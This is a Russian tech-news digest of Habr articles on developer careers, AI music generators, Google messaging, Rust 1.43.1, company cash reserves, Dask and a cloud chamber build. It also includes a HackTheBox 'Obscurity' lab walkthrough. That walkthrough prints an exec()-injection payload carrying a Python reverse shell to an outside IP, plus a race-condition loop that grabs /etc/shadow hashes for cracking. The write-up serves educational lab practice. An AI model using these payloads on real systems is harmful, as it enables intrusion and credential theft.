...

суббота, 9 мая 2020 г.

Программист не должен решать задачи бизнеса

Привет, я разработчик и считаю что выражение "программист должен решать задачи бизнеса" это чудовищная ложь, губительная для индустрии.

Узнать, почему я так думаю

Вступление


Это будет статья про нытье, разочарование, выгорание и возрождение.
Эту статью я пишу в первую очередь для себя, чтобы разложить по полочкам свое понимание определенной области на данный момент.
Возможно пройдет время и я изменю свое мнение. Адекватные дискуссии приветствуются.

Определенно хочу сказать спасибо fillpackart за его статьи. Я часто не согласен с его суждениями и выводами, но, пожалуй, именно его публикации подтолкнули меня к размышлениям. Итогом некоторых таких размышлений стала эта статья.
Также вышла интересная дискуссия с TimeCoder, в которой я понял, что мне не хватает продуманных аргументов. «Как собака — все чувствую, а выразить не могу!»

Кто ты вообще такой?


Можно сказать, что я программист по призванию. Увидел компьютер первый раз года в 4, батя на работе дал мне порисовать на черно-белом мониторе в чем-то типа Paint. Я был поражен и осознал что хочу уметь командовать машиной, абсолютно и безраздельно. Потом были книжки дома типа «Познаем компьютер», первая программа на QBasic в 13 лет, институт по специальности «ПО ВТ и АС» с квалификацией «Инженер» и работа. В продакшен я писал код на VBA, JS, T-SQL, PL/SQL, Битрикс (прости Господи) и как основной язык C#.
В общем обычная крепкая веб-макака. А еще я не хочу решать задачи бизнеса.

Почему ты так решил?


Когда я был молодой, то узнал про разделение программистов по уровню квалификации — junior, middle, senior. А так как я хочу уметь командовать машиной, значит моя цель — стать сеньром! Не ради лычки, а чтобы заслуженно обладать таким же количеством знаний и умений.
Шло время, я читал умные книжки, набирался опыта от старших товарищей.

И кто такой сеньор?


На работе меня потихоньку начали таскать на совещания. Сначала на обсуждение частей сервиса. Потом на интеграцию сервиса с другим сервисом. Потом на обсуждение дизайна UI. И потом я осознал, что сижу среди менеджеров, они обсуждают увеличение конверсии и воронку продаж, и поглядывают на меня, хотя я вообще бэкенд.
Тогда я спросил своих знакомых сеньоров, нормально ли это, мне ответили «Конечно, это обязанность сеньора». А это реально крутые ребята, я хотел быть как они. И я начал ходить на совещания.
И было все больше совещаний и мне говорили «Надо думать, как решать задачи бизнеса».
И тут я понял, что сеньор — это тот, кто решает задачи бизнеса.

А что значит решать задачи бизнеса?


На одной работе мне однажды выдали сеньорскую лычку. Хотя там все поголовно были сеньорами, я все равно обрадовался, и погрузился в сеньорство с головой. Спорил с менеджером проекта, и аналитиком, и дизайнером, чтобы сделать пользователю удобнее и комфортнее, хотя это было некрасиво с точки зрения кода и архитектуры. Код проекта получался все хуже. Начальство ставило задачу всей команде, а спрашивали потом с меня. «Ну ты же сеньор». Я был связующим звеном между менеджером, базистом, фронтом, аналитиком и дизайнером. И еще писал бэкенд.
И как-то это все начало меня напрягать и я подумал «Наверно надо найти другую работу».

Собеседования выглядели примерно так:
— Вы же претендуете на позицию senior software developer?
— Да. А какие обязанности у senior software developer?
— Решать задачи бизнеса, разумеется.

Оказалось, что везде одно и то же.
Начальство, знакомые сеньоры, рекрутеры, интервьюверы мне говорили «Настоящий программист должен решать задачи бизнеса. Бизнес зарабатывает деньги. Ты должен делать такой продукт, который бы приносил деньги. А иначе за что тебе платить?».
И тут я понял, что решать задачи бизнеса — думать о том, как принести работодателю больше прибыли.

И в чем трагедия?


А я не хочу об этом думать.

Эй, а за что тебе тогда платить?


А вот наконец и вылез культивируемый миф, то что сеньор позиционируется как Настоящий Программист! То, к чему должны стремиться все разработчики.
Мне кажется, что я открыл заговор работодателей.
Бизнесу выгоден этот миф. «Эй, парень, хочешь лычку? Мы назовем тебя Настоящий Программист, а ты думай в первую очередь о том, как будет легче продать то, что ты напишешь.»
И самое плохое то, что некоторые скудоумные разработчики сами в это верят и поддерживают миф.

«Я решаю проблемы бизнеса, мне выдали сеньорскую лычку, значит я Настоящий Программист, а ты нет!» — маркетинговый буллшит.

Поясни на примерах


Программист это такое смешение инженерии и творчества.
Инженер, который строит мост, должен ли вообще задумываться о том, как этот мост будет окупаться? Вообще нет, его задача — спроектировать и построить мост, который уложится в сроки, в смету и простоит указаное по плану количество лет.
Авиациионный инженер не должен думать, как же компании надо будет окупать рейсы. Он должен построить эффективный, мощный, удобный в обслуживании двигатель.
Художник с детства мечтал о том, как его рисунок на коробке хлопьев будет способствовать увеличению продаж?
Врач-хирург просто делает операцию, чтобы спасти жизнь пациенту, а Настоящий Врач-Хирург делает операцию и продумавает, как бы ее сделать так, чтобы пациент заплатил больше денег больнице?
Смешно? Бред? А с программистами почему-то работает.

Сам-то не сеньор, вот и бесишься!


«Раб мечтает не о своей свободе, а о своих рабах».
Я осознал что мне наплевать, как бизнес будет монетизировать мой труд. Пусть этим занимаются менеджеры, продажники, маркетологи и product owner.
«О нет, ты теперь не сеньор!» — вообще наплевать, лычки никак не влияют на квалификацию разработчика.
Я просто стараюсь хорошо делать свою работу, писать качественный и легко поддерживаемый код.
Давайте вспомним Linux. Скажите что Линус плохой разраб, потому что он не задумывался о монетизации.

Я бы посоветовал разработчикам, которые думают о проблемах бизнеса, открыть свой бизнес и думать о нем, это будет полезнее для всех.
А всем остальным желаю заниматься любимым делом в комфортной обстановке и не вестись на всякие льстивые уловки.

Спасибо что прочитали.

Let's block ads! (Why?)

Какие нейросети умеют петь и исполнять дэт-метал

Расскажем об интеллектуальных инструментах, способных генерировать треки и даже тексты песен. Речь пойдет о решениях корпораций и лабораторий, а также разработках энтузиастов.


Фото Joe Green / Unsplash

Нейросети пишут музыку…


Делает это синтезатор NSynth Super. Он построен на базе системы ИИ, формирующей из предварительно записанных семплов новые, не существующие в природе, звуки. Алгоритм может объединить звучание флейты и барабана. NSynth умеет работать с 16 музыкальными инструментами — на их основе он генерирует более 100 тыс. звуков. Он анализирует их входящие характеристики, а затем линейно интерполирует, формируя математическое представление.
NSynth Super — это проект с открытым кодом. Исходники и схемы для сборки доступны всем желающим в репозитории на GitHub.

Другой пример — система искусственного интеллекта Dadabots, которую разработали музыканты Си Джей Карр (CJ Carr) и Зак Жуковски (Zack Zukowski). Нейросеть сочиняет мелодии в стиле дэт-метал — её обучали на творчестве канадского коллектива Archspire. Решение на базе ИИ генерирует вполне гармоничные, хотя и не всегда приятные на слух композиции — на них периодически накладываются резкие акустические эффекты. Хотя для выбранного стиля это смотрится волне органично. Прослушать работы Dadabots можно на YouTube, там идет круглосуточная прямая трансляция.

Разработкой музыкальных систем ИИ также занимаются в Jukedeck. Этот стартап разрабатывает инструмент для генерации треков с заданным настроением и темпом. Год назад его приобрела компания, владеющая TikTok. Технологии Jukedeck помогут социальной сети экономить на роялти.

…и умеют петь


В конце апреля такой инструмент представили в OpenAI, его назвали Jukebox. Он генерирует композиции с осмысленными текстами и вокалом. Вот пример:
Инженеры обучили нейросеть на наборе данных из 1,2 млн песен (600 тыс. были на английском языке). Текст и метаданные для них взяли из библиотеки LyricWiki. Для генерации новых треков система ИИ использует метод VQ-VAE (Vector Quantized Variational AutoEncoder) — он сжимает треки и выделяет из них нужную акустическую информацию. Затем на её основе формирует новую композицию. На написание одной минуты песни Jukebox тратит около девяти часов, но пока не умеет генерировать привычные нам песни с повторяющимися припевами. Также система требует больших вычислительных ресурсов — протестировать её дома на компьютере или в студии пока нельзя. В перспективе разработчики планируют исправить эти недостатки.

Но заменят ли музыкантов


Авторы интеллектуальных инструментов для генерации музыки говорят, что машинные алгоритмы призваны не заменить композиторов, а расширить их артистические возможности.

Американская певица Тэрин Саузерн (Taryn Southern) записала альбом при помощи решения на основе системы ИИ. Нейросеть написала музыку для трека Break Free и сгенерировала видеоряд клипа. Солистка группы YACHT Клэр Эванс (Claire Evans) также использовала машинные алгоритмы при написании альбома «Chain Tripping». Компьютер генерировал новые мелодии на основе предыдущих работ Клэр, а исполнительница связывала наиболее интересные сэмплы между собой.

Также алгоритмы машинного обучения помогают музыкантам решать технические вопросы. Например, разработчики из LANDR предлагают систему искусственного интеллекта, которая проводит автоматический мастеринг треков. Ей уже пользуются более 2 млн исполнителей.



Дополнительное чтение:

«Машинный звук»: синтезаторы на базе нейросетей
История синтезаторов речи: первые механические установки
История синтезаторов речи: компьютерная эра



Что почитать у нас на Хабре:

Let's block ads! (Why?)

HackTheBox. Прохождение Obscurity. OS Command Injection и Race Condition

image

Продолжаю публикацию решений отправленных на дорешивание машин с площадки HackTheBox.

В данной статье эксплуатируем уязвимость в программном коде python, а также выполняем атаку Race Condition.

Подключение к лаборатории осуществляется через VPN. Рекомендуется не подключаться с рабочего компьютера или с хоста, где имеются важные для вас данные, так как Вы попадаете в частную сеть с людьми, которые что-то да умеют в области ИБ :)

Организационная информация
Чтобы вы могли узнавать о новых статьях, программном обеспечении и другой информации, я создал канал в Telegram и группу для обсуждения любых вопросов в области ИиКБ. Также ваши личные просьбы, вопросы, предложения и рекомендации рассмотрю лично и отвечу всем.
Вся информация представлена исключительно в образовательных целях. Автор этого документа не несёт никакой ответственности за любой ущерб, причиненный кому-либо в результате использования знаний и методов, полученных в результате изучения данного документа.

Recon


Данная машина имеет IP адрес 10.10.10.168, который я добавляю в /etc/hosts.
10.10.10.168    obscurity.htb

Первым делом сканируем открытые порты. Так как сканировать все порты nmap’ом долго, то я сначала сделаю это с помощью masscan. Мы сканируем все TCP и UDP порты с интерфейса tun0 со скоростью 500 пакетов в секунду.
masscan -e tun0 -p1-65535,U:1-65535 10.10.10.168 --rate=500

image

Теперь для получения более подробной информации о сервисах, которые работают на портах, запустим сканирование с опцией -А.

nmap -A obscurity.htb -p22,8080

image

На хосте работают служба SSH и веб-сервер. Идем на смотреть веб.

image

Таким образом, имеем:

  1. Самописный сервер
  2. Используется шифрование
  3. Код сервера в файле SuperSecureServer.py в каком-то неизвестном каталоге.

Так как мы знаем название файла, давайте переберем каталог. Сделаем это с помощью wfuzz. В качестве параметра передаем словарь, URL и код ответа, который нужно игнорировать.
wfuzz -w /usr/share/dirb/wordlists/common.txt -u http://obscurity.htb:8080/FUZZ/SuperSecureServer.py --hc 404

image

И мы находим эту директорию. Давайте скачаем код сервера.

wget http://obscurity.htb:8080/develop/SuperSecureServer.py

Entry Point


Открываем и анализируем сервер. Находим потенциально опасное использование функции exec().

image

Давайте допишем в код несколько строк.

image

Так мы сможем запустить сервер локально и посмотреть, что попадает в функцию exec(). Запустим сервер, и пошлем запрос.

curl http://127.0.0.1:33333/asd

image
curl "http://127.0.0.1:33333/asd'"

image
curl "http://127.0.0.1:33333/asd''"

image

Таким образом имеем OS Command injection.

curl "http://127.0.0.1:33333/asd';os.system(\"whoami\");'"

image

Будем использовать следующий реверс шелл python.

import socket,subprocess,os;
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);
s.connect(("10.10.15.60",4321));
os.dup2(s.fileno(),0); 
os.dup2(s.fileno(),1);
os.dup2(s.fileno(),2);
p=subprocess.call(["/bin/sh","-i"]);

Так как в коде сервера уже есть импорт нужных модулей, из шелла их импорт убираем. А также экранируем кавычки и квадратные скобки.
curl "http://127.0.0.1:33333/asd';s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"10.10.15.60\",4321));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(\[\"/bin/sh\",\"-i\"\]);'"

image

Отлично! Все работает на локальной машине. Давайте выполним этот запрос на сервер.

curl "http://obscurity.htb:8080/asd';s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"10.10.15.60\",4321));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(\[\"/bin/sh\",\"-i\"\]);'"

image

Имеем точку входа.

USER


Осматриваемся на сервере и находим доступные для чтения файлы в домашней директории пользователя.

image

Читаем файлы.

image

Таким образом, файлы зашифрованы. Скачиваем все, что нам дается, на локальный хост. Как сказано в сообщении зашифрован файл check.txt, а результат в out.txt. Посмотрим алгоритм.

image

Таким образом, при шифровании происходит сложение символа текста и символа ключа по модулю 255. При расшифровывании данные символы вычитаются.

То есть ([check.txt] + [key])% 255 = out.txt и ([out.txt] — [key])%255=check.txt. Тогда ([out.txt] — [check.txt])%255=key.

image

image

И просмотрим ключ.

image

И теперь на этом ключе расшифровываем пароль пользователя.

image

С данным паролем подключаемся по SSH и забираем флаг пользователя.

image

ROOT


Посмотрим настройки sudo, а именно, может ли пользователь robert выполнять какие-либо команды под sudo без пароля.

image

Посмотрим код. Код потребует аутентификационные данные. Потом скопирует содержимое файла /etc/shadow в каталог /tmp/SSH/*. Потом проверит аутентификационные данные и удалит файл.

image

image

Таким образом, мы должны успеть скопировать файл из /etc/SSH/*, пока он не будет удален. Запустим второй терминал и выполним в нем бесконечный цикл чтения.

for ((;;)) do cat /tmp/SSH/* 2>/dev/null && break ; done

Теперь запускаем программу, вводим любые данные и видим хеши.
sudo /usr/bin/python3 /home/robert/BetterSSH/BetterSSH.py

image

И они легко ломаются.

image

Забираем флаг рута.

image

Вы можете присоединиться к нам в Telegram. Там можно будет найти интересные материалы, слитые курсы, а также ПО. Давайте соберем сообщество, в котором будут люди, разбирающиеся во многих сферах ИТ, тогда мы всегда сможем помочь друг другу по любым вопросам ИТ и ИБ.

Let's block ads! (Why?)

Google объединит все свои приложения для обмена сообщениями под началом одной команды

image

В октябре прошлого года Google назначила Хавьера Сольтеро на пост вице-президента и генерального директора G Suite, которая управляет корпоративными сервисами Google Meet и Google Chat. Теперь Сольтеро поручили вести такие продукты для обычных пользователей как Duo и приложения для Android-смартфонов.

Таким образом, этот шаг объединяет все основные коммуникационные продукты Google под началом Сольтеро. Сам топ-менеджер опроверг планы по взаимной интеграции разных сервисов.
Между тем коммуникационные приложения Google нуждаются в более последовательной политике. Сольтеро принимал решения относительно Hangouts, который переименовали в Google Chat и Google Meet для повышения доверия и который теперь станет бесплатным для всех. С мая 2020 года любой пользователь с учетной записью Google сможет бесплатно создавать конференции с участием до 100 человек, которые также должны будут иметь учетную запись. «План по-прежнему заключается в модернизации Hangouts в сторону Google Meet и Google Chat», — говорит он.

Сольтеро характеризует свою работу так, чтобы «стимулировать инновации и ясность в отношении того, как эти продукты могут выполнять свои конкретные задачи». Это говорит о том, что он не намерен интегрировать приложения Google так, как это происходит с Instagram, Facebook Messenger и WhatsApp.

Сольтеро в своей работе присоединится к руководящей команде Хироши Локхаймера. Он занимается продуктами под управлением Android и Chrome OS. Локхаймер, со своей стороны, считает, что есть возможность лучше интегрировать приложения Google в свои платформы — например, Chrome OS может лучше работать с приложениями G Suite. При этом, однако, он отмечает, что намерен сохранить эти платформы открытыми и не привязанными к собственным приложениям Google.

Он также согласен с тем, что не имеет смысла форсировать процесс интеграции. «Не всегда плохо, когда есть несколько коммуникационных приложений, если они предназначены для разных целей», — говорит Локхаймер.

По словам Сольтеро, пользователи просят упростить использование отдельных сервисов, и основной целью объединения станут именно такие шаги.

См. также:

Let's block ads! (Why?)

[Перевод] Выпуск Rust 1.43.1: корректировочный выпуск

Команда Rust опубликовала корректировочный выпуск Rust, 1.43.1. Rust — это язык программирования, позволяющий каждому создавать надёжное и эффективное программное обеспечение.

Если вы установили предыдущую версию Rust средствами rustup, то для обновления до версии 1.43.1 вам достаточно выполнить следующую команду:

rustup update stable

Если у вас ещё не установлен rustup, вы можете установить его с соответствующей страницы нашего веб-сайта, а также посмотреть подробные примечания к выпуску на GitHub.


Что вошло в версию 1.43.1

Rust 1.43.1 посвящён двум регрессиям, появившимся в 1.43.0. Также в этом выпуске обновлён OpenSSL, используемый Cargo.


Исправлены неопределяемые расширения CPU

В Rust 1.27.0 в стандартной библиотеке была представлена поддержка определения расширений x86 CPU при помощи макроса is_x86_feature_detected!. Во время внутреннего рефакторинга было исправлено определение ещё не стабилизированных расширений (таких как AVX-512), которое было возможно ранее. Rust 1.43.1 исправляет это. Больше информации о данной регрессии доступно в issue #71473.


Исправлен сломанный cargo package --list

В Rust 1.43.0 была сломана поддержка просмотра файлов, включаемых в состав пакета, публикуемого Cargo, если в cargo workspace есть зависимости, описанные с помощью путей, или имеются неопубликованные версии. Исправление этой ошибки включено в Rust 1.43.1. Больше информации о ней содержится в Cargo issue #8151.


OpenSSL обновлён до 1.1.1g

Одна из зависимостей Cargo — OpenSSL, недавно выпустила предупреждение об уязвимости. К сожалению мы не смогли вовремя включить это исправление в Rust 1.43.0, поэтому мы обновили OpenSSL в Rust 1.43.1. У нас нет доказательств того, что эта уязвимость может поставить под угрозу безопасность пользователей Cargo (но если она вас коснулась, пожалуйста, следуйте нашей политике безопасности).


Участники 1.43.1

Множество людей собрались вместе, чтобы создать Rust 1.43.1. Мы не смогли бы сделать это без всех вас, спасибо!


От переводчиков

С любыми вопросами по языку Rust вам смогут помочь в русскоязычном Телеграм-чате или же в аналогичном чате для новичковых вопросов.

Данную статью совместными усилиями перевели andreevlex, funkill, nlinker, l4l, H. K. и blandger.

Let's block ads! (Why?)

Разбор: может ли у компании быть слишком много денег?

При совершении долгосрочных вложений инвесторы рассматривают самые разные факторы. Один из самых важных – финансовая ситуация в конкретной компании. И здесь все не так просто, как могло бы показаться.

На первый взгляд, очевидно, что нужно инвестировать в компании, на балансе которых большое количество денег, и мало долгов. Понятно, что развитие на заемные средства хорошо при положительном развитии ситуации, а во время кризисов может приводить к проблемам. Так и со свободными деньгами есть плюсы и минусы (хоть в это и трудно поверить в условиях текущего кризиса).

Портал Investopedia опубликовал материал с разбором этой ситуации. Мы публикуем главные тезисы этой статьи.

Почему лишние деньги у компании – это хорошо


Здесь есть ряд факторов. Прежде всего, наличие серьезных и растущих запасов денег, указывает на качественную работу компании. Получается, что бизнес зарабатывает так много и так быстро, что у руководства не хватает времени распределить деньги и понять, на что их потратить.

К тому же, есть целые отрасли, вроде разработки софта, где для ведения бизнеса не требуются столь масштабные капитальные затраты. Если компания при этом хорошо зарабатывает, абсолютно логично, что у нее остаются свободные деньги.

В других отраслях, вроде сталелитейной промышленности, игроки вынуждены постоянно инвестировать в оборудование и материалы, поэтому им физически труднее накопить деньги. Также в отраслях с цикличным спросом компании запасают деньги в высокий сезон, чтобы затем пережить грядущий спад.

Как видно, в наличие или отсутствие денежных запасов может быть обусловлено различными причинами.

Когда много денег – это плохо


Большой объем свободных средств на балансе компании может быть знаком грядущих проблем. Если у компании постоянно много свободных денег, и это количество особенно не меняется, инвесторам стоит задать вопрос – почему эти средства не вкладываются в развитие?

Возможно, менеджмент компании знает о неких проблемах, которые не позволят ей привлечь инвестиции или займы, или руководителям просто не хватает опыта и компетенций, чтобы придумать, как эффективно потратить деньги.

«Сидеть на кеше» для компании – дорогое удовольствие, потому что она упускает возможности для развития. Оценить потери можно как разницу между процентами от денег в банке и стоимостью капитала.

Если компания может рассчитывать получить 20% возврат на инвестиции в новый проект, то это куда выгоднее, чем просто хранить деньги в банке. Если же возврат на инвестиции будет меньше, чем банковский депозит, компания может выплатить дивиденды акционерам. В любом случае просто так иметь много денег – это не очень логично.

К тому же, достаточно часто компании с большими запасами денег рискуют потерять в эффективности управления. Когда денег много, труднее выстроить четкую финансовую дисциплину, ограничивать затраты, менеджменту проще не выполнять заявленные KPI. Чтобы лучше разбираться в таких ситуациях, стоит регулярно читать аналитические материалы по выбранным отраслям.

Как компании маскируют излишки денег


Инвесторам не стоит позволять вводить себя в заблуждение обычными отговорками о том, что свободные деньги дают компании гибкость и возможность проводить поглощения. Наличие большого количества денег в запасах имеет свою цену и провоцирует неэффективное управление.

Поэтому стоит насторожиться, увидев в отчетности пункты под названием «стратегические резервы» и «резервы для реструктуризации» – часто это просто обоснование для чрезмерных накоплений.

Заключение


Лишние деньги для компании – не всегда плохо. Однако важно уметь отличать ситуации, когда это действительно полезно, от случаев, в которых большие запасы генерируют будущие потери и свидетельствуют о плохом корпоративном управлении.
Читайте обзоры, аналитику рынков и инвестидеи в Telegram-канале ITI Capital

Let's block ads! (Why?)

[Перевод] Как помочь pandas в обработке больших объёмов данных?

Библиотека pandas — это один из лучших инструментов для разведочного анализа данных. Но это не означает, что pandas — это универсальное средство, подходящее для решения любых задач. В частности, речь идёт об обработке больших объемов данных. Мне довелось провести очень и очень много времени, ожидая, пока pandas прочтёт множество файлов, или обработает их, вычислив на основе находящихся в них сведений какие-то интересующие меня показатели. Дело в том, что pandas не поддерживает механизмы параллельной обработки данных. В результате этому пакету не удаётся на полную мощность воспользоваться возможностями современных многоядерных процессоров. Большие наборы данных в pandas обрабатываются медленно.

Недавно я задался целью найти что-то такое, что позволит помочь мне в деле обработки больших данных. Мне удалось найти то, что я искал, я встроил найденный инструмент в свой конвейер обработки данных. Я использую его для работы с большими объёмами данных. Например — для чтения файлов, содержащих 10 гигабайт данных, для их фильтрации и агрегирования. Когда я справляюсь с решением подобных задач, я сохраняю то, что у меня получилось, в CSV-файле меньшего размера, который подходит для pandas, после чего приступаю к работе с полученными данными с помощью pandas.

Вот блокнот Jupyter, содержащий примеры к этому материалу, с которыми можно поэкспериментировать.

Dask


Тем инструментом, который я использую для обработки больших объёмов данных, стала библиотека Dask. Она поддерживает параллельную обработку данных, позволяя ускорить работу существующих инструментов. Сюда входят numpy, pandas и sklearn. Dask — это бесплатный опенсорсный проект. В нём применяются API и структуры данных Python, что облегчает интеграцию Dask в существующие проекты. Если в двух словах описать Dask, то можно сказать, что эта библиотека упрощает решение обычных задач и делает возможным решение задач огромной сложности.

Сравнение pandas и Dask


Я могу тут описывать возможности Dask, так как эта библиотека умеет очень много всего интересного, но я, вместо этого, просто рассмотрю один практический пример. Я, в ходе работы, обычно сталкиваюсь с наборами файлов большого объёма, данные, хранящиеся в которых, нужно проанализировать. Давайте воспроизведём одну из моих типичных задач и создадим 10 файлов, в каждом из которых содержится 100000 записей. Каждый такой файл имеет размер 196 Мб.
from sklearn.datasets import make_classification
import pandas as pd
for i in range(1, 11):
    print('Generating trainset %d' % i)
    x, y = make_classification(n_samples=100_000, n_features=100)
    df = pd.DataFrame(data=x)
    df['y'] = y
    df.to_csv('trainset_%d.csv' % i, index=False)

Теперь прочитаем эти файлы с помощью pandas и замерим время, необходимое на их чтение. В pandas нет встроенной поддержки glob, поэтому нам придётся читать файлы в цикле:
%%time
import glob
df_list = []
for filename in glob.glob('trainset_*.csv'):
    df_ = pd.read_csv(filename)
    df_list.append(df_)
df = pd.concat(df_list)
df.shape

На то, чтобы прочитать эти файлы, pandas потребовалось 16 секунд:
CPU times: user 14.6 s, sys: 1.29 s, total: 15.9 s
Wall time: 16 s

Если говорить о Dask, то можно отметить, что эта библиотека позволяет обрабатывать файлы, которые не помещаются в памяти. Делается это с помощью разбивки их на блоки и с помощью составления цепочек задач. Измерим время, необходимое Dask на чтение этих файлов:
import dask.dataframe as dd
%%time
df = dd.read_csv('trainset_*.csv')
CPU times: user 154 ms, sys: 58.6 ms, total: 212 ms
Wall time: 212 ms

Dask потребовалось 154 мс! Как такое вообще возможно? На самом деле, это невозможно. В Dask реализована парадигма отложенного выполнения задач. Вычисления выполняются только тогда, когда нужны их результаты. Мы описываем граф выполнения, что даёт Dask возможность оптимизировать выполнение задач. Повторим эксперимент. Обратите внимание на то, что функция read_csv из Dask имеет встроенную поддержку работы с glob:
%%time
df = dd.read_csv('trainset_*.csv').compute()
CPU times: user 39.5 s, sys: 5.3 s, total: 44.8 s
Wall time: 8.21 s

Применение функции compute заставляет Dask вернуть результат, для чего нужно по-настоящему прочитать файлы. В результате оказывается, что Dask читает файлы в два раза быстрее чем pandas.

Можно сказать, что Dask позволяет оснащать Python-проекты средствами масштабирования вычислений.

Сравнение использования процессора в Pandas и в Dask


Пользуется ли Dask всеми процессорными ядрами, имеющимися в системе? Сравним использование ресурсов процессора в pandas и в Dask при чтении файлов. Здесь применяется тот же код, который мы рассматривали выше.

Использование ресурсов процессора при чтении файлов с помощью pandas

Использование ресурсов процессора при чтении файлов с помощью Dask

Пара вышеприведённых анимированных изображений позволяет ясно увидеть то, как pandas и Dask пользуются ресурсами процессора при чтении файлов.

Что происходит в недрах Dask?


Датафрейм Dask состоит из нескольких датафреймов pandas, которые разделены по индексам. Когда мы выполняем функцию read_csv из Dask, выполняется чтение одного и того же файла несколькими процессами.

Мы даже можем визуализировать граф выполнения этой задачи.

exec_graph = dd.read_csv('trainset_*.csv')
exec_graph.visualize()


Граф выполнения Dask при чтении нескольких файлов

Недостатки Dask


Возможно, вам сейчас пришла следующая мысль: «Если библиотека Dask так хороша — почему бы просто не использовать её вместо pandas?». Но не всё так просто. В Dask портированы лишь некоторые функции pandas. Дело в том, что определённые задачи сложно распараллелить. Например — это сортировка данных и назначение индексов неотсортированным столбцам. Dask — это не инструмент, решающий абсолютно все задачи анализа и обработки данных. Эту библиотеку рекомендуется использовать только для работы с наборами данных, которые не помещаются в памяти целиком. Так как библиотека Dask основана на pandas, то всё то, что медленно работает в pandas, останется медленным и в Dask. Как я уже говорил, Dask — это полезный инструмент, который можно встроить в конвейер обработки данных, но этот инструмент не заменяет другие библиотеки.

Установка Dask


Для того чтобы установить Dask, можно воспользоваться следующей командой:
python -m pip install "dask[complete]"

Итоги


В этом материале я лишь поверхностно затронул возможности Dask. Если вам данная библиотека интересна — взгляните на эти замечательные учебные руководства по Dask, и на документацию по датафреймам Dask. А если хотите узнать о том, какие функции поддерживают датафреймы Dask — почитайте описание API DataFrame.

А вы воспользовались бы библиотекой Dask?

Напоминаем, что у нас продолжается конкурс прогнозов, в котором можно выиграть новенький iPhone. Еще есть время ворваться в него, и сделать максимально точный прогноз по злободневным величинам.

Let's block ads! (Why?)

По следам горячих частиц. Камера Вильсона

Хомяки приветствуют вас друзья!

Сегодняшний пост будет посвящен конденсационной Камере Вильсона с помощью которой можно увидеть радиацию в виде треков заряженных частиц. Зрелище завораживающее! В ходе посмотрим, как создать такое устройство, как его правильно запускать и узнаем при каких условиях частицы открывают полный потенциал для стороннего наблюдателя — типа нас с вами.

Недолго думая с китайской провинции были заказаны все необходимые комплектующие и работа закипела. Забегая вперед скажу, что в последующие дни не выходя из длительного запоя мне хотелось убить китайца, отрезать себе палец и принести в жертву барана который раскидал подводные камни на пути олицетворения радиационных треков. Все оказалось не так просто как кажется с первого взгляда. Потому начну по порядку.

Для сборки камеры Вильсона нам необходимо достать два мощных источника питания на 5 и 12 вольт. В моем случае это серверные блоки питания от майнинговых ферм. На этикетке указан заявленный ток в 114 Ампер. Это явно в избытке, так как реальные параметры потребления тока установкой составили 23 Ампера по линии 12 вольт и 9 Ампер по линии 5 вольт. В идеале тут подойдет компьютерный блок питания на 500 Вт.

Следующие основные элементы: это охладитель на модулях Пельте, высоковольтный преобразователь напряжения на много Киловольт, и стеклянная смотровая камера через которую нам предстоит наблюдать треки ионизирующего излучения.

Охладитель можно назвать несущей частью этого карточного домика. В его основе лежат термоэлектрические элементы Пельте, в которых возникает разность температур на его сторонах при протекании электрического тока.

Для работы установки нам нужно 8 таких элементов. Четыре из них марки ТЕС1-12710 с заявленной максимальной потребляемой мощностью 154 Вт каждый и столько же элементов марки ТЕС1-12706 с потребляемой мощностью 60 Вт. Они будут работать в режиме бутерброда. Из практики такая сборка дает на минус 15 градусов ниже температуру, нежели один элемент отдельно.

Для достижения наибольших отрицательных температур систему необходимо снабдить качественным водяным охлаждением. Реализуется это с помощью алюминиевых радиаторов предназначенных специально для этих целей, несколькими метрами ПВХ шланга диаметром 12 мм, и бесщеточным погружным насосом, который способен перекачивать 240 литров воды в час. Питается он от постоянного напряжения 12 Вольт, потребляя при этом 3.6 Вт.

Сейчас наша задача соединить все элементы вместе. Для этого найдена металлическая основа на которой будут лежать радиаторы и собран металлический каркас, который стягивает всё в кучу. Для этих целей отлично подошли алюминиевые уголки и швеллера купленные в ближайшем строительном магазине.

Термопаста в данном случае применяется серая с надписью на банке HY-510. Наносить ее необходимо равномерным однородным слоем во избежание возможных микропузырей. Для этого можно воспользоваться пластиковой карточкой.

Термоэлектрические преобразователи размещаем в следующем порядке. Снизу более мощные марки TEC1-12710, а сверху элементы ТЕС1-12706. Они в 2 раза слабей по мощности и к тому же будут питаться от 5 Вольт вместо 12. Это нужно для того, чтобы нижний элемент успевал эффективно отводить тепло от верхнего.

Таким образом добиваемся наибольшего КПД от данной сборки. Вот такая пирамида из железа и керамики в итоге должна получится. Важно чтобы все поверхности элементов Пельте были вровень, китайцы бывают халтурят с толщиной алюминиевых водяных охладителей, что может привести к ненужным ступенькам в итоге. Запомни — они недопустимы!

Для увеличения площади поверхности на которую будет устанавливаться смотровая камера, вырезаем квадрат из стеклотекстолита толщиной 1 мм, он кладется прямо на выступающие из модулей провода. Никаких дополнительных опор не предусмотрено.

Верхнюю термопасту наносим как можно ровней, это важно так как сейчас на всю получившиеся поверхность будем клеить черную самоклеющиеся пленку типа «Oracal», несмотря на то что она достаточно плотная, все неровности на ней отчетливо будут видны.

Вот такой ландшафт у меня получился со второй попытки. В любом случае при охлаждении пленка натягивается и поверхность будет выглядеть ровней.

Если следовать данному гайду по сборке, то в результате на поверхности охладителя мы получим температуру в минус 45 градусов, этого будет более чем достаточно для хорошей работы камеры Вильсона. К примеру при минус 30 градусов она не работает вообще, а спирт плохо конденсируется при такой температуре. Неоднократно проверял.

Нанесем на поверхность каплю воды и посмотри что с ней произойдет. Самый интересный момент в этом наблюдении происходит в самом конце, когда кристаллизация капли достигает вершины. Она вытягивается в некий острый конус. При увеличении это хорошо видно. Довольно любопытный эффект.

В принципе сборка готова и на ее поверхности можно наблюдать треки заряженных частиц вызванные полураспадом различных радиоактивных элементов. Как два пальца скажите вы! Но вот тут то и открываются самые интересные моменты в этом всем повествовании…

Кратко пройдемся по местам, на которых можно поскользнутся и упасть.

Элементы Пельтье. Они не так просты как кажутся с первого взгляда. Это в основном относится к верхним модулям TEC1-12706 в данном бутерброде. Так они работают вне своего рабочего режима по напряжению (5 Вольт вместо 12 Вольт), их итоговая температура будет значительно отличатся друг от друга. Отмечу что все элементы с одной партии, с одного завода и с одного конвейера.

